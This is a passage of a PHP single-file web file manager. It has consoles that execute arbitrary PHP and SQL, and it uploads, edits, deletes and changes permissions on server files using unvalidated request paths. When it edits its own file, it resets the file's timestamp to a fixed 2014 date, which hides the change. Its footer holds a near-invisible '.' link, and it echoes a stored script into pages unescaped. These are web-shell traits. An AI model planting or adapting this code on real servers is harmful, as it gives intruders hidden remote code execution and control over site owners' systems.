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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
